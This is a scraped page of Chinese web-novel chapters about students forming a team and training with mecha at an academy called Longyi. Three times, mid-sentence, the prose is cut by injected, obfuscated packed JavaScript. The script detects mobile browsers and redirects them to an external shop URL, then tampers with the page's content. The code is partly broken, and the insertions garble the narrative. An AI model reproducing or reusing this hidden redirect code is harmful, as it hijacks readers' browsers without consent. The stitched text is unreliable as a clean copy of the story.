萨鹿以为她要发火，吓得一抖。 “你们都没有队友是不是？”鸣星微笑道：“很好，我们现在是队友了！” …… 士阳不知道鸣星喜欢吃什么，但是她非常喜欢这种给朋友带饭的感觉，在食堂跑了一圈，买了七八种食物。 高中被人霸凌转校后，她很长一段时间都非常自闭，即使有人友善地搭话也是消极应对，等她走出阴影，才发现没什么人愿意和她做朋友了。后来即使又交了朋友也都不算亲近，始终融不到别人已有的圈子里。 现在是个好的开始。 “士阳！” 她刷了飞板，正要快点赶回去，却有人从后面喊她。 他们一行四人都是群星6班的同学。士阳心里一喜，本以为班里同学不会愿意和她说话了，没想到还有主动和她打招呼的。 为首的背头男，裴发，捋了把锃亮 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他们的排名在6班算中段，跟士阳的水平有一定差距，但其实也很容易追赶上来。如今这个处境，和他们组队还算是好的选择了。 士阳：“你们这么快就组了四个人了啊。” “时间紧迫，大家基本都组好了。我们本来也有五个人的，但排名出来后，有个人成绩太好，不愿意跟我们组了。”裴发无奈地笑笑，“希望他能找到和他实力匹配的同学吧，唉。不过我们是肯定不会拖你后腿的，士阳，你来的话可以让你当队长，我们都会听你的。” 士阳一时也有些犹豫了。 他们几个都很诚恳，语气也平和，看起来很好相处，作为队友是很稳妥的选项，最主要的是，士阳不太想和海微遥组队，也害怕再找两个队友还是这种奇怪的人。 但是她加入了他们，鸣星又该怎么办呢？ 鸣星一定有办法找到新队友，说不定也不会怪她，但她总觉得，如果做了这个选择，就像是背叛了鸣星一样。 “……让我想一下，今晚告诉你们结果可以吗？” 裴发喜笑颜开，“当然可以啊，不过你下午就跟我们一块吧，英老师估计还要回去监督几次，要是你撞上了，容易被卷进麻烦事里。” 士阳上飞板的脚步一顿。 是啊，英弦对鸣星的为难，绝对不止罚跑那么简单。这只是噩梦的开始罢了。 她朝他们笑了笑，说道：“其实我不想做队长。我不擅长这个，你们还是找别人吧。” 裴发一愣，急忙道：“你排名高，我们想着你带我们效率更高点，但你要是不愿意，不做也是没问题的啊！” 士阳还是摇头。裴发正要接着劝她，被沈静伸手拦住了。 “士阳，你确定么？”沈静盯着她的双眼，严肃地说：“我不想说难听的话，只不过，你应该也知道大家是怎么看你和鸣星的，你现在拒绝我们，之后很难找到好的队友了。鸣星很有个性，胆子也大，她能应付英老师，也能应付对她不好的同学，但你确定你能承受这些么？在龙羿生活本来就很艰难了，为什么要给自己增加难度呢。” 沈静说的话句句属实，像刀子一样扎在士阳心里。 其实，她应该是承受不住的，她可是个看了天才就会紧张到没法开枪、觉得人生完蛋了的人。 但如果那时候没有鸣星，她根本没法进龙羿，对她来说，那才是真正的毁了人生。 士阳咬了咬牙，说道：“抱歉啊，鸣星帮了我挺多的，这个时候我不想丢下她一个人。” 鸣星陪她度过了她的艰难时刻，她也想陪着鸣星，度过鸣星的艰难时刻。 沈静微微一怔，随即轻笑一下，说道：“好，那你们加油。” 裴发：“到今晚之前，如果你后悔了还可以跟我们说——” “不要再来找我们了。”沈静打断他的话，“士阳，你肯定会和鸣星来往，我们为了避免麻烦，只会尽量和她保持距离，你能理解我们的吧？我们没有恶意，只是不想成为靶子，如果班里气氛好，我们肯定也会和你们做朋友的。” “没事，我都明白。” 士阳没再和他们多说，利落地跳上飞板，很快飘远了。 这些事，她实在太明白了。 为什么那些曾经的朋友，在霸凌者出现后不来帮她，反而远离了她。士阳曾经为这些事情日思夜想，不停流泪。但事情过去了两年，她慢慢也释然了，她们不想卷进麻烦，不想也成为被霸凌者，仅此而已。 就连士阳自己，鼓起勇气站在被孤立者的那一方，也是只此一次。 回龙蛋的路上，士阳意外的心情很好，虽然她可能要度过一段艰难的时光，但是这次她很坚定，并且相信自己做出了正确的选择—— “哇——” ……为什么龙蛋里有人在哭？ “都说了你不要再哭了，我就不承认你笨怎么了？我就觉得你是故意出错的怎么了？你要是笨，我该怎么办？只要有一天你的排名比我高，你就不许说你自己笨！” 这又是什么诡异的话？ 士阳微微皱起眉，跳下飞板向里走去。只见空荡荡的场子中央，边子奕像个无助的孩子，站在原地哇哇大哭，一个比他瘦小许多的女生叉着腰，气势汹汹地揪着他的领子骂他。 这是什么地狱绘图。 “阳阳！”鸣星欢快地朝她招手，一脸开心：“我们找齐队友啦！” 士阳：“………” ……现在和沈静说后悔还来得及吗。 18. 高燃对决 龙蛋里隐蔽的一角，几个大型机甲背后有一间小仓库，里面放了些清理机甲的机器。 鸣星问萨鹿：“你怎么找到这个地方的？” “排名刚出来那时候，我怕有人嘲笑我，想找个地方躲躲，在龙蛋里走了一圈发现了这里。不过其实根本没人关注我，呵呵。” 几人从柜子里扯了张一次性垫子，盘腿坐下，士阳把凉了的食物拿出来，说道：“我买多了，一起吃吧。” 本来只是给鸣星买的，现在大家都在这，还成了队友，也就只能这么说了。 她把食物一个个发过去，萨鹿双手托着接过来，眼眶红红的，一副十分感动的样子，小声说道：“谢谢。” 士阳第一眼觉得这女生不好接触，还有点阴森，没想到性格还挺可爱，说不定没她想的那么糟糕。 她轻轻笑了下，问道：“你叫什么名字？” 萨鹿眼里一黯，扭过头去，闷闷不乐地念叨：“……呵呵，是的呢。不认识我也正常，我就是这么没有存在感啦。” 士阳：“……” 鸣星说道：“她叫萨鹿。” 士阳把排名看了一遍了，却对这个名字没什么印象。她想到刚才萨鹿和边子奕吵架，说的什么排名高低的事。既然会争这个，想必排名也不会差太多吧，于是又问：“萨鹿，你排名多少啊？” 萨鹿这回沉默着转过头，一副哀莫大于心死的表情。 鸣星：“比我高一名。” 士阳：“………” 收回前言，这女生比海微遥还糟糕，而且是全方位的糟糕！海微遥虽然人自闭了点，好歹实力可以。 士阳抱着最后一丝希望，小心翼翼地问：“呃……所以，我们确定组队了吗？” 鸣星笑道：“当然，我们都凑齐五个了呀。接下来就要想队名和选队长了。” “……好吧。”士阳胃里堵得慌，一时连饭都吃不下去了，“那你来做队长吗？” 在她心中，鸣星是唯一有做队长的资格的，因为所有人都是鸣星找来的。 边子奕饿得很，三两口就炫完好几个汉堡，吃了东西后，他的情绪稳定许多，看士阳的眼神有种看再生父母的感觉，诚恳地说：“士阳，我觉得你比较合适，你看着特别靠谱！” 士阳：“……” 她不抗拒做队长，但她抗拒做这群人的队长。 “边子奕做吧。”萨鹿说道：“他排名最高。” 边子奕脸色唰的一下变得惨白，队长是要直接和英弦汇报的，他现在想到这个名字都觉得两腿打颤，做队长那是要他的命啊！ “我虽然排名高，但我，我很笨的！我做不好队长的！还不如你来做，激发下你的潜力，说不定还能提升排名呢。” 萨鹿的眼光又变得凶狠了。 眼看两人要吵起来，鸣星拍了拍他们的肩膀，说道：“那我们选海微遥做队长怎么样，有人反对吗？” 仓库里安安静静，没人说话。 “那么，谁支持？” 四人齐刷刷地举起了手。 “好，我通知他一下。” 鸣星在学校通讯录里翻出了海微遥的名片，发消息过去。 鸣星：我们小队组好了，你做队长！ 鸣星：队长，给我们小队起个名字吧，作为队长你有优先命名权 海微遥：？ 海微遥：我不做队长 鸣星：我们四票通过，一致同意你做队长 海微遥：……我做不了队长 海微遥平时说话像杀人一样艰难，在网上打字倒是快得很。 边子奕问道：“他怎么说？” “他说他做不了。” “也是可以理解吧。”士阳说道：“他说个话都那么费事，怎么和英弦汇报。虽然也没人想干这事就是了。” “唔，那这样。”鸣星想了想，开始打字。 鸣星：你做名义队长，我们四个轮流做实际队长。你挂个名，但是具体的事由我们来做，而且你可以把不想做的工作安排给我们 海微遥：……行吧 鸣星给大家看了这段话：“他同意了。” 边子奕问：“什么叫名义队长？” “就是挂名的呀。” “那谁来和英弦汇报？” 鸣星笑道：“当然是挂名的那个呀。” “……”边子奕竖起大拇指，“你厉害。” 午饭吃完，又要继续跑圈。 鸣星在跑道上做着热身拉伸，和士阳说道：“三十分钟的休息时间还有挺多，得干点什么才行。” “你不是要休息么？” “我跑的很慢，现在不怎么累。这样吧，我和云斯京切磋一下好了。”鸣星说着，给云斯京发了消息。 鸣星：我在龙蛋，还有十五分钟休息时间，要不要打一场？ 士阳问道：“你……确定你能和他打吗？” 虽然两人在考试时打得有来有回，但那是因为大家了解自制机甲的特性，有克制关系。如今用了学校的标准机，他们的差距就显露无疑了：一个第四，一个倒数第一。 鸣星朝她眨眨眼，笑道：“试试嘛，如果他愿意来的话。” 云斯京并没有回消息，但五分钟后，他出现在了龙蛋门口。 “怎么打。” 他没有多余的废话，直截了当地切入正题，好像对于和鸣星对决一事已经迫不及待了。 鸣星：“简单的格斗，用标准机，倒地五秒算输，怎么样？” “可以。” 两人利落地钻进铁人，鸣星有了上一次经验，这次准备工作做得很快，没多久，两个铁人都亮起了准备完毕的绿灯。 边子奕和萨鹿紧张而兴奋地站在一边，入学考试时那样的精彩对决，马上就要开始了！ 云斯京的铁人朝士阳比了个手势。 士阳：“我来做裁判？……好吧，那现在对决开始。” 云斯京提起右臂，狠狠向鸣星的脸部砸去—— 咚！ 一声惊天动地的巨响后，鸣星的铁人直直向后倒去，躺地不起，再也没动一下。 “五，四，三……”士阳紧张地倒计时，心道，鸣星，你肯定还有后手吧，这一切都在你的算计之中，是不是？ “二，一。……嗯？” 本场对决，云斯京胜利。 在场的几人包括云斯京在内都有些发懵，本以为是一场精彩的高燃对决，怎么一拳就KO了？ 真的不是鸣星在搞什么花招吗。 云斯京从铁人里跳出来，皱着眉，去查看鸣星的信号灯，只见那灯变成了黄色，机师正处于昏迷状态！ 这下，士阳也冲了上来，手忙脚乱地打开舱门，喊道：“快送她去医院！” 校医来的很快，只不过检查鸣星的状态后，露出了嫌弃的表情，“晕过去了而已，这点小毛病回去躺会就好了。” 士阳焦急道：“但是她被打了一拳，可能是被打了之后才晕过去的，应该做个全面的检查才行……” 云斯京问道：“医生，能判断出来她是受击前还是受击后晕倒的吗？” “这要做个简单检查，再调取机甲的作战记录。”校医本来不想管，但见他们都挺着急，也只能说道：“那就送到校医室休息吧。” 医生熟练地把鸣星放到担架上，开车送去了校医室。这辆小医车只能再坐两人，士阳当然陪同，云斯京也十分自然地上了车。 一路上，两人隔着卧倒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497788|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣星面对面坐着，尴尬地沉默了一会后，士阳率先问道：“你击打的速度比入学考试时还快吗？” “不是。” “那她应该能躲开才对……” “她没有躲闪，连意图都没有。”云斯京说这话时，看着有点生气。 鸣星被安置到病床上，还没有醒过来。 云斯京这一拳虽然没那么快，但是力度还挺猛的，如果要叫醒她，需要用一些强制手段，这一点士阳和云斯京都拒绝了。 “那你们就等她自然醒吧，估计不到半个小时。”医生无奈道：“她真没事，你们别紧张了，平时对决没见过晕倒的人吗？” 这确实算是常见情况，不过士阳是过度担心，云斯京则是怀疑有问题。他叫住医生，说道：“医生，给她做个全面检查吧，看看有没有受伤的地方，以及查清楚她的晕倒时间。” “我们判断她没有问题，这种情况下非要做全面检查，要1000积分。” “我提出给她做检查，扣我的积分。” “行。” 医生给鸣星戴上仪器扫描一番，对照作战记录看了看：“一点事没有。她上机就晕了，因为信息过载，大脑无法承受，自我保护从而晕倒。这是机甲初学者常出现的问题，我想主要原因是她没穿机甲服。” 他把报告打印出来，放到桌上，语重心长地说：“等她醒来你们告诉她，就算平时对决也记着穿机甲服啊，不要犯懒，不然很容易精神崩溃，晕倒都是最好的情况了。” 医生走后，整个医务室就只有他们三个人。毕竟也不会有学生开学第一天就进医院。 云斯京拿了报告，仔细看了一遍，表情越来越冷，“她是故意的。” 士阳问道：“什么意思？” “她标准测试考那么差，应该是和这次同样的原因，开机晕倒。她叫我过来对决只是找一个晕的借口，这样她就可以逃避跑步惩罚了。” 士阳想了想，觉得应该就是这么回事，说道：“还有这种方法，鸣星好聪明啊。” 云斯京：“……” 士阳：“不过她为什么会晕倒呢。明明之前更差的材料都能开这么好了……” “她大概一直在用差材料。不同材料的信息量级差距过大，如果从来没用过好材料，是有可能没法快速适应。” “这不是初中时就该过的基础关吗？” “她的初中不是机甲学校，高中才是。虽然也是资源很差的学校。” 士阳一愣：“你查过了？” 虽说大家的学校都在简历里清清楚楚地写着，但也不会有人特意去查别人没名气的学校。 “她和我打了平手，我查下她的履历，不是很正常？”云斯京淡淡地说。 他把报告扣在桌子上，站起身来：“你告诉她，她欠我1000积分，最好快点把排名提上去还我积分，否则我就不带她去见黑蔷薇。” 云斯京刚刚关门，鸣星就唰地睁开了眼睛。 她坐起身来，不满道：“我又没答应要做检查，怎么就欠他1000积分了！居然还用黑蔷薇威胁我，可恶。” “你到底晕还是没晕？”这下士阳彻底搞不清楚了。 “最开始是晕的，后面半梦半醒，意识清醒但是动不了。” “那你听到他说你是故意的了吗？” “听到了，他没说错。”鸣星用被子裹紧自己：“英弦现在应该收到我的晕倒状态提醒了吧？这样一来，今天下午我就不用跑了。” 她查了下终端，果然收到了英弦的消息。 英弦：为什么晕了？ 英弦：你做了什么？ 看到这鸣星还在笑，紧接着，下一条消息弹出。 英弦：我现在过来。 19. 笨鸟 鸣星动作一僵，迅速把自己卷回被子里，“阳阳你先玩，英老师要来了，我得装的像一点。” 士阳走后，鸣星翻起了任务列表。 学校发布的任务分DCBA四档，有低价苦力的日常任务，也有奖励丰厚但门槛颇高的项目任务。学生发布的任务就五花八门了，做机甲的，修机甲的，陪练的，求指导的，甚至作业代写的都有。 鸣星看了半天，发现自己能做的非常有限。 高回报的任务都有要求排名，而且都涉及到机甲驾驶，但她现在连最基本的标准机都没法启动。 她就只能做没人愿意干的D级机甲清理任务。清理一个只得两积分，却要耗上半小时，性价比低到令人发指。不过她相信自己一定会干得又快又好，于是一口气接了十个，今天她就要擦到天黑！ 门把手忽然向下压去，鸣星急忙闭上双眼，延长呼吸，假装睡得正熟。 英弦根本不管她睡没睡着，上来就猛敲桌子，把她震醒。鸣星装不下去，也只能慢慢睁眼，睡眼蒙眬的样子，“谁啊——” “你一天要晕几次才够？”英弦的眼刀像要杀人，“开学第一天就进医院，你是玻璃人吗？” 鸣星扶着脑袋，“长官，我头好晕。” “别装了，你旁边的仪器里显示你的指标一切正常！” 鸣星：“……” 都怪云斯京非要给她做什么全面检查，现在连装晕都装不了。 英弦粗暴地拿起报告，桌子都被他推得直抖。他快速扫了眼，眼里的怒火却渐渐消退了，到最后还有些惊讶。 他问：“你没打过基因强化针？” “我们星的基本都没打，要去大星才能打。” “你怎么不在我让你跑圈的时候说？”英弦又开始乱发脾气，“把膝盖跑坏了你要怎么战斗？” 鸣星心道，她又不傻，她一个会散步又会装晕的人，怎么都不可能把身体跑废。看来英弦之前罚过不少老实学生，让跑就跑，一点不休息的。 英弦把报告摔到一边，开始查终端上的记录，可能是担心鸣星运动过程中有什么异常，但看到配速和心率，差点没气晕过去。 “你跑了吗？” “长官，我是慢跑。” “你慢跑配速8，心率120？你怎么不说你在地上爬呢！” 鸣星说道：“那时候要吃饭了，我想着借休息时间练习一下机甲启动，不能再犯测试时那种错误，想留点体力，于是没有跑太猛。” 听了这话，英弦倒是沉默了一会，好半天才问：“上机就又晕了，是吗。” “是呀，我还找个同学陪我练，结果什么都没开始就晕了。虽然现在指标都挺正常，但我头还是挺晕的，可能是开机那时候太急了，没操作好。” “不是操作的问题。”英弦皱眉道：“你根本就不适应标准机甲的材料，这是一般人十岁出头就该搞定的基础问题。你现在连门都没入，更别说战斗了。” 鸣星诚恳地问道：“长官，那我该怎么办？” 英弦瞪她一眼，说道：“你该把明晚的训练场约好。” 从基础开始教起是他最不屑于做的事，但他现在有点想试试，把一个有天赋的学生逼到什么份上，能够快速突破。 英弦居然没再提以后再罚的事，他没和鸣星多说什么，转身离开了，大概是暂且放她一马。 鸣星趴在窗沿边，见英弦走远，立刻欢快地从医务室跑了出去。 彻底解放，去做任务！ …… 龙蛋里，边子奕跑完最后一圈，收到了英弦的消息。 英弦：你打基因强化针了吗？ 边子奕：报告长官，我没打过 英弦：去拉伸然后休息 士阳和萨鹿都在一边，凑过来看他的终端，面面相觑。 士阳奇道：“他还会说这种关心人的话呢？” 边子奕充分拉伸完毕，和士阳、萨鹿两人走出了龙蛋，开始在学校闲逛。 第一天下午没有排课，留时间给大家自由了解校园。 士阳来过龙羿一次，比起校园，她对边子奕更加好奇，“边子奕，我挺奇怪的，你都能排到16名，为什么开不好章鱼号？” 边子奕累得走路都费劲，顺带连情绪都累没了，现在倒也可以好好地谈论此事。 他说道：“英老师叫我去开章鱼号的时候，其实还夸我了，他说我心理素质好，有天赋。” “所以你很紧张？” “不止是紧张。是我知道，他说的完全不对。我心理素质很差，而且非常笨……”他下意识看了眼萨鹿，改口道：“不算特别聪明。我能那么熟练地跟指令，心率也能保持稳定，那是因为我已经练过无数次了。” 士阳：“我也练过挺多次，但我也就能排到60，你肯定是有天分的吧。” “不是很多次，是无数次。”边子奕认真地纠正，“我肯定比你练的多。我从小到大，没见过比我还努力的人。” “有多努力？” “我在家每顿饭吃饭时间不超过十五分钟，因为吃完饭要抓紧时间做题，在学校宽松些，但也差不多。只要醒来的时间，我基本都在练或者学，我没有别的兴趣爱好，也不和人玩，朋友都是在训练场认识的，但我们也从不聊训练以外的事。” 边子奕说着，停下了脚步，回身向远处望去，百感交集，“我的生命里除了机甲没有别的东西了。所以，在机甲以外的事情上，我都是废物。” 士阳着实惊到了，她是自己认识的学生里比较努力的那一类，但也没有到生命里除了机甲别无他物的程度。 人总要娱乐，总要有爱好和社交，如果这些都没有，又是什么支撑他坚持下来的？ 士阳随着他的目光看去，看到了那只昂首挺胸的银龙。 他也是为了它而坚持的么？就像龙羿里的每一个学生一样，被银龙的骄傲与霸气吸引过来，幻想着自己有朝一日成为龙骑士，成为最厉害的机师。 她问道：“既然你练的这么多，不应该能把章鱼号开好才对吗？” “我说过了，我很笨……”边子奕苦笑一下，“我不是自谦什么的，我真的是……很笨的那种，天才重复三遍能记住的动作，普通人重复五次能记住，我要重复十次、五十次才能记住。” 他看向萨鹿，诚恳地说道：“萨鹿，虽然……排名是这样，但你很可能比我聪明，我也不知道你有多聪明，反正大多数人都比我聪明。所以，你别再因为我说自己笨就跟我发火啦，我要是连自己笨都不能说，我还有什么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497789|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的？我要是不笨，我付出那些努力还有什么意义吗？” 萨鹿嘴唇微颤，没有说话，眼里的光闪了闪。 “是你家里逼着你这么练的吗？”士阳问：“这对于小孩子来说过于苛刻了吧。” 边子奕认真道：“妈妈从小就说我是个笨蛋，要我多多练习，笨鸟先飞。我不怨他们逼我刻苦，反倒是后来，我发现努力真的能带给我好处，于是我都是自己逼着自己坚持的，现在只要不努力，我就会觉得空虚，觉得自己要被世界抛弃了。” “不管你多不聪明，你还是比我强的。”萨鹿忽然说道。 她自嘲地笑了笑，在那张向来阴森的脸上显得有些恐怖，眼睛也空洞洞的，透着绝望。 “你好歹还会努力，我却连努力都做不到了。我什么都不想做，因为我什么都做不好，不管是和人相处，还是成绩，机甲战斗，我没有一件事做的好，从初中开始，我就一直是班级的最后一名，还被所有人无视，我才是真的被这个世界抛弃的人啊。” 边子奕一副完全不理解的样子，理所当然道：“那你努力不就好了？” 萨鹿被这话一下子惹恼了：“我说努力不了啊，笨蛋！你不懂什么叫努力不了吗？” “我不懂。”边子奕是真不懂，“你要想提升成绩，就去刷题，去训练。人际这方面我不懂，但我觉得你也可以多主动接触别人，一样的道理嘛。” 萨鹿捂着耳朵，怒道：“做不到，这些我都做不到！笨蛋！” “有什么做不到的，只要努力去做就行了啊。还有，我是笨蛋没错，但你也不要总这么说我，很伤我自尊心的。” “你什么人啊，自己说了那么多次，我说了一次你就埋怨我了！” “是两次。” “你——” 眼看两人又要吵起来，士阳头疼得紧，急忙安抚道：“好了，好了，大家都冷静点，互相理解一下好不好？” 看在她的面子上，两人暂且闭了嘴，只是还是谁都不服谁的样子。 “萨鹿，能来龙羿就说明你很优秀了。”士阳说道：“不过，倒数第一名都能进龙羿，你那是什么高中啊？” “金斧头。” 士阳在考试后看过所有人的简历。丛晏、顾纳来自金斧头，云斯京毕业于火炬，花凛子和她自己则出身启航者——新纪元星三大机甲名校。 只是没想到，连金斧头的最后一名都能进龙羿，可见其他同学有多恐怖。 士阳心道，怪不得萨鹿这么悲观，可能被天才碾压惯了，怎么努力都起不来，索性不再努力。 边子奕问道：“那你呢，士阳，你有什么要说的吗？” 他和萨鹿都看了过来。士阳明白他们的意思，大家都说了自己的缺点，她也应该分享一个才是。 “我……我转过学。因为……” 士阳咬咬牙，还是没能把被霸凌的事说出来。之前情绪崩溃时没忍住和鸣星说了，但她希望这成为一个除她们二人之外无人知晓的秘密。 她想把软弱彻底埋葬在过去。 “因为我之前在启航者，身边同学太厉害了，我就转去了差一点的学校，这也是我那时不够坚强。”士阳笑了笑，伸手搭住两人的肩膀，说道：“我们都有缺点，大家一起努力吧。” 20. 格斗家-绞刑 作战系宿舍楼A区高层，云斯京正指挥着保镖把他的机甲搬进这间巨大的宿舍。 顾纳打电话过来，问道：“我跟小晏准备出去吃顿夜宵，一块不？” “现在十二点。第一天就要违反校规？” “龙羿管的又不严，再说你不是最会翻墙了吗？” “不去，我要整理机甲。” 云斯京分到的面积是一千平，龙羿里最高的一档，他准备改造成机甲展厅和训练场。 “行，那我俩去。”顾纳刚要挂电话，忽然想起了什么，又笑着说：“对了，你和观音那个合照的造型挺别致的。” 云斯京擦拭机甲的动作一顿：“……什么合照？” “你没看那新闻吗？我发你。” 顾纳发来一个新闻报道截图，点赞过万的那张照片里，鸣星骑在影刀的头上，对着媒体比了四十个耶。 云斯京：“……” 他翻了下录播，是他提醒鸣星有媒体在拍的时候。 他说怎么觉得当时的氛围那么奇怪，下面的考生都表情异样，尤其律尔，一脸的幸灾乐祸。 云斯京无语地想把视频关掉，但看到镜头里像只鸟一样灵活地飞起来的鸣星，不知怎的，又多看了两眼，不知不觉间，他把整场对决都看了一遍。 这次第三视角观战他才意识到，她全程都在用共振功能唤醒自己。她也并不适应铁拳的材料，但一次又一次地强撑着醒过来，继续对战。 虽然她投降的做法很是侮辱人，但这个行为，却也是对对手最大的敬意了。 云斯京内心一时掀起巨浪。 标准检测之后，学生们聊到鸣星都是一脸微妙，很多人不知道她到底是什么水平，对作弊论也处于观望态度。 不作为对手，很难察觉到她用出的两个技能，而她无法启动标准机这事，的确让她连一段入门水平都达不到。 但这不是更恐怖了吗？差材料都能用到这种程度，等她适应了好材料，会强大到多么可怕的地步。 三段……不，她现在的真实水平大概在四升五。 比他差一些，但是，可能很快超越他。可能比他更快地走向七段天锋级，更先一步成为龙骑士。 云斯京握紧了拳。他不会让鸣星超越他，而且，他会让鸣星成为他的动力——一个被他认可的竞争对手在身边，他才能继续保持着高强度训练，不断提升自己。 鸣星很重要。 鸣星克服材料问题，也很重要。 云斯京打开终端，发布了一条任务，悬赏1000积分。 【使用标准机与我对决，并击败我。】 ……鸣星，快些克服你的第一道坎， 然后，来和我战斗。 …… “总之，边子奕够卷但是不聪明，萨鹿完全摆烂，他们是这样两个人。”士阳如此总结道。 鸣星在士阳宿舍里，站在窗户边望着银龙，说道：“我们五个真是绝佳的组合啊。” “……”佳在哪里？ “这样挺好的，士阳。”鸣星转过头来，似乎看出士阳隐隐的不满，说道：“而且我们也找不到其他人做队友了。” 士阳有些惊讶：“你知道吗？”她还以为鸣星没有感受到那种孤立的氛围。 “很明显呀。不过，那有什么关系？”鸣星微笑道：“他们人很好，相处起来更轻松，不是吗。” “但实际上，我们五个是……被大家抛弃的人吧。” “不是我们被抛弃了，而是大家都不够强大。如果足够厉害，又怎么会害怕被队友拖累呢？” 士阳一愣，看着背着月光的鸣星，内心十分触动。 是啊，如果她足够强大，想必也不会被霸凌的事逼到转去差学校，如果她足够强大，也不会嫌弃队友太弱。 她轻声道：“星星，你就是那个足够强大的人……” “我不是啊，我明显是拖后腿的那个。” “……”士阳问：“那我们队有强大的人吗？” 鸣星想了想：“海微遥吧。所以我推荐他当队长。” “他？他哪里强了……”一想到海微遥那说话都费劲的样，士阳就觉得头疼。他作为一考场的考生，现在却排一百名，心气没了，连实力的优势也丢掉了，实在算不上什么厉害的人。 “只是感觉啦。”鸣星翻了翻终端，“现在是不是快到截止时间了？” 班群里，英弦发了个表格，用来汇总大家的组队信息。 “海微遥没填呢，那我来填吧。”鸣星二话不说，先把海微遥的名字写进队长一栏里。她动作迅速地全部写完，提交后截了个图发给他。 鸣星：队长，我们队的信息填完了 鸣星：这种实际的活就交给我们来干就好啦！我拉个群，以后你想分配我们干活，在群里说哦 海微遥似乎网瘾挺大，秒回了她。 海微遥：嗯 半分钟后。 海微遥：不对 新拉的小群里，他接连发了好几条，显然是慌了。 海微遥：是不是表格里登记的队长，需要和英弦汇报？ 海微遥：修改一下 海微遥：作为名义队长，我安排鸣星做汇报队长 鸣星：已经提交了不可修改哦 海微遥：…… 海微遥：……[微笑] 鸣星笑了出来，看来他在线上还是有点个性的，并不像线下那样软蛋。 “好了，所有事都搞定，我回去睡觉了。” 鸣星起身离开，士阳望着她的背影，迟疑了会，还是在她关门之前叫住了她。 “星星，如果……我是说如果，我加入了别人的队伍，你会怎么样？” “有人找过你组队，是吗？” 鸣星应该不像看上去那么天真，士阳心想，她或许什么都知道。 “我只是说如果。” 士阳说着，在背后轻轻地攥起了拳头，她其实知道鸣星会怎么回答，即使鸣星说自己并不强大，但在她心中，鸣星就是一个对所有事都不在意的内心强大的人。 鸣星一定会说，没事啊，我自己再找就是了。 毕竟她那么洒脱。 “唔，那我应该会很伤心吧。”鸣星目光错到别处，有些落寞的样子，“你是我在这的第一个朋友。” 士阳万万没想到她是这样的反应，一下子慌了，急忙道：“……我，我不会抛下你的。那只是个假设！” “嗯，我知道。我相信你！”鸣星笑着挥挥手，“快休息吧，明天还有课呢。” 第二天早上，队长们先一步去训练室汇报。 鸣星一进门就被海微遥盯着，即使半张脸都被眼镜遮住，也感受得到他满满的幽怨，而她报以春风般和煦的笑容。 海微遥：“……” 英弦穿着黑色机甲服制服，他今天似乎心情不太好，一身黑衬的他更阴沉了。 “昨天有黑客试图篡改已锁定的表格，虽然对方手段隐蔽，但我已经让技术部追踪了。”他的目光在所有人的脸上扫了一遍，冰冷冷地说：“做这事的人最好自己承认，被我揪出来你就完了。” 鸣星本觉得有点好笑，心道，谁家黑客专门来入侵他们的信息表格，这黑客是闲到什么地步了？ 直到她看到海微遥的手在微微颤抖。 鸣星：“……” 居然害怕汇报到找专业黑客的程度吗？ 英弦真是个恐怖阎王。 今天的课是机甲对战训练，用到格斗家系列的标准机：绞刑。 英弦上机，对面一排ai机甲走上前来，与他对战示范。 “开始。” 英弦的绞刑飞身骑到敌人机的头上，双腿一绞，将对方的头部卸掉。 “腿绞。”他简略地说，换了个手法，两手交叉错位，将敌人机的手部关节卸掉，又道：“关节技。” 接下来他接连示范了数十个动作，将对面一整排ai机卸的七零八落，转过身来对学生们说：“学会了吗？” 学生们沉默。 “绞刑的四肢力量很强，瞄准衔接处，把敌方的机甲结构卸掉，使对方机师暴露。现在所有人开机，重复不会的动作，到学会为止。” 虽说机甲有内置格斗库辅助做出动作，但他这教学方式也是够简单粗暴的了。 学生肉眼可见地紧张起来，各自上机，猛猛练习，英弦就在训练室内走来走去，不时皱着眉头纠正一番。 他把前面的学生一个不漏地骂了一遍，越骂脸色越差，似乎嫌弃学生质量不好，待他走到最后一座绞刑面前时，已经是爆发边缘了。 而这座绞刑偏偏一动不动地站在那里，好像在罚站。 他强压着火，沉声道：“……谁在里面。” 无人回应。 其他学生都悄悄回过头来，看是谁这么勇，和英弦对着干。 不过，英弦甚至都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497790|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未打开机甲确认是谁，已然暴怒地吼道：“鸣！星！” 那绞刑忽然惊醒，随机读取了格斗库的动作，一胳膊甩过来，竟是绞向英弦的脖子！ 英弦反应极快，在对方动作起步时就跳到远处。他手臂青筋爆出，二话不说冲进了旁边的绞刑里，抬手一记猛攻。 没人跟得上他的速度，只听一声巨响，鸣星的绞刑头部轰然落地，而她在里面缓缓睁开眼，好像刚刚睡醒。 ……真是毫不意外啊。 